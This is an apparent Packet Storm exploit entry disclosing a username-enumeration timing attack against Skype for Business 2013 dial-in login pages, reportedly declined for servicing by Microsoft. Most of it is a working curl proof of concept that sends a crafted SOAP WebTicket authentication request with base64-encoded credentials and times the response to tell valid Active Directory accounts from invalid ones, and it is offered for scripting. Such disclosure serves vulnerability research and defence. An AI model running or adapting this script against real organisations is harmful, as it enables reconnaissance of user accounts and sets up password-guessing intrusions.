Skype For Business 2013 User Enumeration

2016-06-17T00:00:00
ID PACKETSTORM:137531
Type packetstorm
Reporter nyxgeek
Modified 2016-06-17T00:00:00

Description

                                        
                                            `# Exploit Title: Skype for Business 2013 user enumeration timing attack  
# Date: 2016-06-08  
# Exploit Author: nyxgeek  
# Vendor Homepage: https://www.microsoft.com  
# Version: Skype for Business 2013  
#  
#  
# Skype for Business 2013 is vulnerable to a timing attack that allows for username enumeration  
#  
# When Skype/Lync is exposed externally, a login page will be located at https://dialin.domain.com.  
#   
# In the attack, a short response time indicates a valid username, whereas a long response time  
# indicates an invalid username. This was tested in a large AD environment with many OUs and   
# thousands of accounts.  
#  
# It is possible that the difference in response times may be smaller in smaller AD environments  
#  
# For example:  
# Valid username response time - 0.49s  
# Invalid username response time - 3.54s  
#  
#  
# Usernames and passwords are both base64-encoded without a newline, and submitted in the form  
# of DOMAIN\username.  
#  
# When generating the base64 on linux use the -n parameter with echo to exclude the newline char   
# echo -n "DOMAIN\username" | base64  
#  
# This was reported to Microsoft on 2016-06-07 but it 'does not meet the bar for security servicing'  
#   
# Below is a proof of concept curl command, which can be thrown into a bash script for ease of use.  
  
#!/bin/bash  
  
curl -o /dev/null -w "\n\nTOTAL TIME IS %{time_total}\n\n" -i -s -k -X 'POST' \  
-H 'User-Agent: Just looking around' \  
-H 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' \  
-H 'Keep-Alive: 300' -H 'Content-Type: text/xml' \  
-H 'SOAPAction: http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue' \  
-H 'Referer: https://dialin.domain.com/Dialin/Conference.aspx' \  
--data-binary $'<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\"><s:Header><Security s:mustUnderstand=\"1\" xmlns:u=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\" xmlns=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd\"><UsernameToken><Username>RE9NQUlOXHVzZXJuYW1l</Username><Password Type=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText\">c2VjcmV0cGFzc3dvcmQ=</Password></UsernameToken></Security></s:Header><s:Body><RequestSecurityToken xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Context=\"ec86f904-154f-0597-3dee-59eb1b51e731\" xmlns=\"http://docs.oasis-open.org/ws-sx/ws-trust/200512\"><TokenType>urn:component:Microsoft.Rtc.WebAuthentication.2010:user-cwt-1</TokenType><RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</RequestType><AppliesTo xmlns=\"http://schemas.xmlsoap.org/ws/2004/09/policy\"><EndpointReference xmlns=\"http://www.w3.org/2005/08/addressing\"><Address>https://dialin.domain.com/WebTicket/WebTicketService.svc/Auth</Address></EndpointReference></AppliesTo><Lifetime><Created xmlns=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\">2016-06-07T02:23:36Z</Created><Expires xmlns=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\">2016-06-07T02:38:36Z</Expires></Lifetime><KeyType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/SymmetricKey</KeyType></RequestSecurityToken></s:Body></s:Envelope>' \  
'https://dialin.domain.com/WebTicket/WebTicketService.svc/Auth'  
  
`